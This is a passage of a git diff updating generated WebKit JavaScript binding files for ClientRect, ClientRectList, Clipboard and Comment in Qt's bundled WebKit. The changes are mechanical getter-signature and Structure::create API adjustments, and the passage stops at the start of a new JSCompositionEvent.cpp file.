--- a/src/3rdparty/webkit/WebCore/generated/JSClientRect.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSClientRect.cpp
@@ -35,13 +35,13 @@ ASSERT_CLASS_FITS_IN_CELL(JSClientRect);
 
 static const HashTableValue JSClientRectTableValues[8] =
 {
-    { "top", DontDelete|ReadOnly, (intptr_t)jsClientRectTop, (intptr_t)0 },
-    { "right", DontDelete|ReadOnly, (intptr_t)jsClientRectRight, (intptr_t)0 },
-    { "bottom", DontDelete|ReadOnly, (intptr_t)jsClientRectBottom, (intptr_t)0 },
-    { "left", DontDelete|ReadOnly, (intptr_t)jsClientRectLeft, (intptr_t)0 },
-    { "width", DontDelete|ReadOnly, (intptr_t)jsClientRectWidth, (intptr_t)0 },
-    { "height", DontDelete|ReadOnly, (intptr_t)jsClientRectHeight, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsClientRectConstructor, (intptr_t)0 },
+    { "top", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClientRectTop), (intptr_t)0 },
+    { "right", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClientRectRight), (intptr_t)0 },
+    { "bottom", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClientRectBottom), (intptr_t)0 },
+    { "left", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClientRectLeft), (intptr_t)0 },
+    { "width", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClientRectWidth), (intptr_t)0 },
+    { "height", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClientRectHeight), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClientRectConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -80,7 +80,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -148,57 +148,63 @@ bool JSClientRect::getOwnPropertyDescriptor(ExecState* exec, const Identifier& p
     return getStaticValueDescriptor<JSClientRect, Base>(exec, &JSClientRectTable, this, propertyName, descriptor);
 }
 
-JSValue jsClientRectTop(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClientRectTop(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slot.slotBase()));
+    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     ClientRect* imp = static_cast<ClientRect*>(castedThis->impl());
-    return jsNumber(exec, imp->top());
+    JSValue result = jsNumber(exec, imp->top());
+    return result;
 }
 
-JSValue jsClientRectRight(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClientRectRight(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slot.slotBase()));
+    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     ClientRect* imp = static_cast<ClientRect*>(castedThis->impl());
-    return jsNumber(exec, imp->right());
+    JSValue result = jsNumber(exec, imp->right());
+    return result;
 }
 
-JSValue jsClientRectBottom(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClientRectBottom(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slot.slotBase()));
+    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     ClientRect* imp = static_cast<ClientRect*>(castedThis->impl());
-    return jsNumber(exec, imp->bottom());
+    JSValue result = jsNumber(exec, imp->bottom());
+    return result;
 }
 
-JSValue jsClientRectLeft(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClientRectLeft(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slot.slotBase()));
+    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     ClientRect* imp = static_cast<ClientRect*>(castedThis->impl());
-    return jsNumber(exec, imp->left());
+    JSValue result = jsNumber(exec, imp->left());
+    return result;
 }
 
-JSValue jsClientRectWidth(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClientRectWidth(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slot.slotBase()));
+    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     ClientRect* imp = static_cast<ClientRect*>(castedThis->impl());
-    return jsNumber(exec, imp->width());
+    JSValue result = jsNumber(exec, imp->width());
+    return result;
 }
 
-JSValue jsClientRectHeight(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClientRectHeight(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slot.slotBase()));
+    JSClientRect* castedThis = static_cast<JSClientRect*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     ClientRect* imp = static_cast<ClientRect*>(castedThis->impl());
-    return jsNumber(exec, imp->height());
+    JSValue result = jsNumber(exec, imp->height());
+    return result;
 }
 
-JSValue jsClientRectConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClientRectConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClientRect* domObject = static_cast<JSClientRect*>(asObject(slot.slotBase()));
+    JSClientRect* domObject = static_cast<JSClientRect*>(asObject(slotBase));
     return JSClientRect::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSClientRect::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSClientRect.h b/src/3rdparty/webkit/WebCore/generated/JSClientRect.h
index 18962f2..b5d8303 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSClientRect.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSClientRect.h
@@ -21,7 +21,6 @@
 #ifndef JSClientRect_h
 #define JSClientRect_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -43,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -66,7 +65,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSClientRectPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -75,13 +74,13 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsClientRectTop(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsClientRectRight(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsClientRectBottom(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsClientRectLeft(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsClientRectWidth(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsClientRectHeight(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsClientRectConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsClientRectTop(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsClientRectRight(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsClientRectBottom(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsClientRectLeft(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsClientRectWidth(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsClientRectHeight(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsClientRectConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSClientRectList.cpp b/src/3rdparty/webkit/WebCore/generated/JSClientRectList.cpp
index ff9d963..e7a432a 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSClientRectList.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSClientRectList.cpp
@@ -40,8 +40,8 @@ ASSERT_CLASS_FITS_IN_CELL(JSClientRectList);
 
 static const HashTableValue JSClientRectListTableValues[3] =
 {
-    { "length", DontDelete|ReadOnly, (intptr_t)jsClientRectListLength, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsClientRectListConstructor, (intptr_t)0 },
+    { "length", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClientRectListLength), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClientRectListConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -80,7 +80,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -103,7 +103,7 @@ bool JSClientRectListConstructor::getOwnPropertyDescriptor(ExecState* exec, cons
 
 static const HashTableValue JSClientRectListPrototypeTableValues[2] =
 {
-    { "item", DontDelete|Function, (intptr_t)jsClientRectListPrototypeFunctionItem, (intptr_t)1 },
+    { "item", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsClientRectListPrototypeFunctionItem), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -194,24 +194,25 @@ bool JSClientRectList::getOwnPropertySlot(ExecState* exec, unsigned propertyName
     return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
 }
 
-JSValue jsClientRectListLength(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClientRectListLength(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClientRectList* castedThis = static_cast<JSClientRectList*>(asObject(slot.slotBase()));
+    JSClientRectList* castedThis = static_cast<JSClientRectList*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     ClientRectList* imp = static_cast<ClientRectList*>(castedThis->impl());
-    return jsNumber(exec, imp->length());
+    JSValue result = jsNumber(exec, imp->length());
+    return result;
 }
 
-JSValue jsClientRectListConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClientRectListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClientRectList* domObject = static_cast<JSClientRectList*>(asObject(slot.slotBase()));
+    JSClientRectList* domObject = static_cast<JSClientRectList*>(asObject(slotBase));
     return JSClientRectList::getConstructor(exec, domObject->globalObject());
 }
-void JSClientRectList::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSClientRectList::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     for (unsigned i = 0; i < static_cast<ClientRectList*>(impl())->length(); ++i)
         propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
+     Base::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 JSValue JSClientRectList::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
@@ -238,10 +239,10 @@ JSValue JSC_HOST_CALL jsClientRectListPrototypeFunctionItem(ExecState* exec, JSO
 }
 
 
-JSValue JSClientRectList::indexGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue JSClientRectList::indexGetter(ExecState* exec, JSValue slotBase, unsigned index)
 {
-    JSClientRectList* thisObj = static_cast<JSClientRectList*>(asObject(slot.slotBase()));
-    return toJS(exec, thisObj->globalObject(), static_cast<ClientRectList*>(thisObj->impl())->item(slot.index()));
+    JSClientRectList* thisObj = static_cast<JSClientRectList*>(asObject(slotBase));
+    return toJS(exec, thisObj->globalObject(), static_cast<ClientRectList*>(thisObj->impl())->item(index));
 }
 JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, ClientRectList* object)
 {
diff --git a/src/3rdparty/webkit/WebCore/generated/JSClientRectList.h b/src/3rdparty/webkit/WebCore/generated/JSClientRectList.h
index ce8cb3f..1a856f9 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSClientRectList.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSClientRectList.h
@@ -21,7 +21,6 @@
 #ifndef JSClientRectList_h
 #define JSClientRectList_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -44,10 +43,10 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
+    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
     ClientRectList* impl() const { return m_impl.get(); }
 
@@ -55,7 +54,7 @@ private:
     RefPtr<ClientRectList> m_impl;
 protected:
     static const unsigned StructureFlags = JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    static JSC::JSValue indexGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+    static JSC::JSValue indexGetter(JSC::ExecState*, JSC::JSValue, unsigned);
 };
 
 JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, ClientRectList*);
@@ -71,7 +70,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSClientRectListPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -83,8 +82,8 @@ protected:
 JSC::JSValue JSC_HOST_CALL jsClientRectListPrototypeFunctionItem(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsClientRectListLength(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsClientRectListConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsClientRectListLength(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsClientRectListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSClipboard.cpp b/src/3rdparty/webkit/WebCore/generated/JSClipboard.cpp
index 8f4a7d4..36d19f8 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSClipboard.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSClipboard.cpp
@@ -38,11 +38,11 @@ ASSERT_CLASS_FITS_IN_CELL(JSClipboard);
 
 static const HashTableValue JSClipboardTableValues[6] =
 {
-    { "dropEffect", DontDelete, (intptr_t)jsClipboardDropEffect, (intptr_t)setJSClipboardDropEffect },
-    { "effectAllowed", DontDelete, (intptr_t)jsClipboardEffectAllowed, (intptr_t)setJSClipboardEffectAllowed },
-    { "types", DontDelete|ReadOnly, (intptr_t)jsClipboardTypes, (intptr_t)0 },
-    { "files", DontDelete|ReadOnly, (intptr_t)jsClipboardFiles, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsClipboardConstructor, (intptr_t)0 },
+    { "dropEffect", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClipboardDropEffect), (intptr_t)setJSClipboardDropEffect },
+    { "effectAllowed", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClipboardEffectAllowed), (intptr_t)setJSClipboardEffectAllowed },
+    { "types", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClipboardTypes), (intptr_t)0 },
+    { "files", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClipboardFiles), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsClipboardConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -81,7 +81,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -104,10 +104,10 @@ bool JSClipboardConstructor::getOwnPropertyDescriptor(ExecState* exec, const Ide
 
 static const HashTableValue JSClipboardPrototypeTableValues[5] =
 {
-    { "clearData", DontDelete|Function, (intptr_t)jsClipboardPrototypeFunctionClearData, (intptr_t)1 },
-    { "getData", DontDelete|Function, (intptr_t)jsClipboardPrototypeFunctionGetData, (intptr_t)1 },
-    { "setData", DontDelete|Function, (intptr_t)jsClipboardPrototypeFunctionSetData, (intptr_t)2 },
-    { "setDragImage", DontDelete|Function, (intptr_t)jsClipboardPrototypeFunctionSetDragImage, (intptr_t)3 },
+    { "clearData", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsClipboardPrototypeFunctionClearData), (intptr_t)1 },
+    { "getData", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsClipboardPrototypeFunctionGetData), (intptr_t)1 },
+    { "setData", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsClipboardPrototypeFunctionSetData), (intptr_t)2 },
+    { "setDragImage", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsClipboardPrototypeFunctionSetDragImage), (intptr_t)3 },
     { 0, 0, 0, 0 }
 };
 
@@ -163,39 +163,42 @@ bool JSClipboard::getOwnPropertyDescriptor(ExecState* exec, const Identifier& pr
     return getStaticValueDescriptor<JSClipboard, Base>(exec, &JSClipboardTable, this, propertyName, descriptor);
 }
 
-JSValue jsClipboardDropEffect(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClipboardDropEffect(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClipboard* castedThis = static_cast<JSClipboard*>(asObject(slot.slotBase()));
+    JSClipboard* castedThis = static_cast<JSClipboard*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Clipboard* imp = static_cast<Clipboard*>(castedThis->impl());
-    return jsStringOrUndefined(exec, imp->dropEffect());
+    JSValue result = jsStringOrUndefined(exec, imp->dropEffect());
+    return result;
 }
 
-JSValue jsClipboardEffectAllowed(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClipboardEffectAllowed(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClipboard* castedThis = static_cast<JSClipboard*>(asObject(slot.slotBase()));
+    JSClipboard* castedThis = static_cast<JSClipboard*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Clipboard* imp = static_cast<Clipboard*>(castedThis->impl());
-    return jsStringOrUndefined(exec, imp->effectAllowed());
+    JSValue result = jsStringOrUndefined(exec, imp->effectAllowed());
+    return result;
 }
 
-JSValue jsClipboardTypes(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClipboardTypes(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClipboard* castedThis = static_cast<JSClipboard*>(asObject(slot.slotBase()));
+    JSClipboard* castedThis = static_cast<JSClipboard*>(asObject(slotBase));
     return castedThis->types(exec);
 }
 
-JSValue jsClipboardFiles(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClipboardFiles(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClipboard* castedThis = static_cast<JSClipboard*>(asObject(slot.slotBase()));
+    JSClipboard* castedThis = static_cast<JSClipboard*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Clipboard* imp = static_cast<Clipboard*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->files()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->files()));
+    return result;
 }
 
-JSValue jsClipboardConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsClipboardConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSClipboard* domObject = static_cast<JSClipboard*>(asObject(slot.slotBase()));
+    JSClipboard* domObject = static_cast<JSClipboard*>(asObject(slotBase));
     return JSClipboard::getConstructor(exec, domObject->globalObject());
 }
 void JSClipboard::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -205,13 +208,15 @@ void JSClipboard::put(ExecState* exec, const Identifier& propertyName, JSValue v
 
 void setJSClipboardDropEffect(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Clipboard* imp = static_cast<Clipboard*>(static_cast<JSClipboard*>(thisObject)->impl());
+    JSClipboard* castedThisObj = static_cast<JSClipboard*>(thisObject);
+    Clipboard* imp = static_cast<Clipboard*>(castedThisObj->impl());
     imp->setDropEffect(value.toString(exec));
 }
 
 void setJSClipboardEffectAllowed(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Clipboard* imp = static_cast<Clipboard*>(static_cast<JSClipboard*>(thisObject)->impl());
+    JSClipboard* castedThisObj = static_cast<JSClipboard*>(thisObject);
+    Clipboard* imp = static_cast<Clipboard*>(castedThisObj->impl());
     imp->setEffectAllowed(value.toString(exec));
 }
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSClipboard.h b/src/3rdparty/webkit/WebCore/generated/JSClipboard.h
index e4458a7..827ce05 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSClipboard.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSClipboard.h
@@ -21,7 +21,6 @@
 #ifndef JSClipboard_h
 #define JSClipboard_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -44,7 +43,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -78,7 +77,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSClipboardPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -93,13 +92,13 @@ JSC::JSValue JSC_HOST_CALL jsClipboardPrototypeFunctionSetData(JSC::ExecState*,
 JSC::JSValue JSC_HOST_CALL jsClipboardPrototypeFunctionSetDragImage(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsClipboardDropEffect(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsClipboardDropEffect(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSClipboardDropEffect(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsClipboardEffectAllowed(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsClipboardEffectAllowed(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSClipboardEffectAllowed(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsClipboardTypes(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsClipboardFiles(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsClipboardConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsClipboardTypes(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsClipboardFiles(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsClipboardConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSComment.cpp b/src/3rdparty/webkit/WebCore/generated/JSComment.cpp
index 770a3f2..425208e 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSComment.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSComment.cpp
@@ -34,7 +34,7 @@ ASSERT_CLASS_FITS_IN_CELL(JSComment);
 
 static const HashTableValue JSCommentTableValues[2] =
 {
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCommentConstructor, (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCommentConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -73,7 +73,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -135,9 +135,9 @@ bool JSComment::getOwnPropertyDescriptor(ExecState* exec, const Identifier& prop
     return getStaticValueDescriptor<JSComment, Base>(exec, &JSCommentTable, this, propertyName, descriptor);
 }
 
-JSValue jsCommentConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCommentConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSComment* domObject = static_cast<JSComment*>(asObject(slot.slotBase()));
+    JSComment* domObject = static_cast<JSComment*>(asObject(slotBase));
     return JSComment::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSComment::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSComment.h b/src/3rdparty/webkit/WebCore/generated/JSComment.h
index e88ddf4..0df7c65 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSComment.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSComment.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -56,7 +56,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCommentPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -65,7 +65,7 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCommentConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCommentConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCompositionEvent.cpp b/src/3rdparty/webkit/WebCore/generated/JSCompositionEvent.cpp
new file mode 100644
index 0000000..5fc7f58
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/generated/JSCompositionEvent.cpp
@@ -0,0 +1,191 @@
+/*
+    This file is part of the WebKit open source project.
+    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
+
+    This library is free software; you can redistribute it and/or
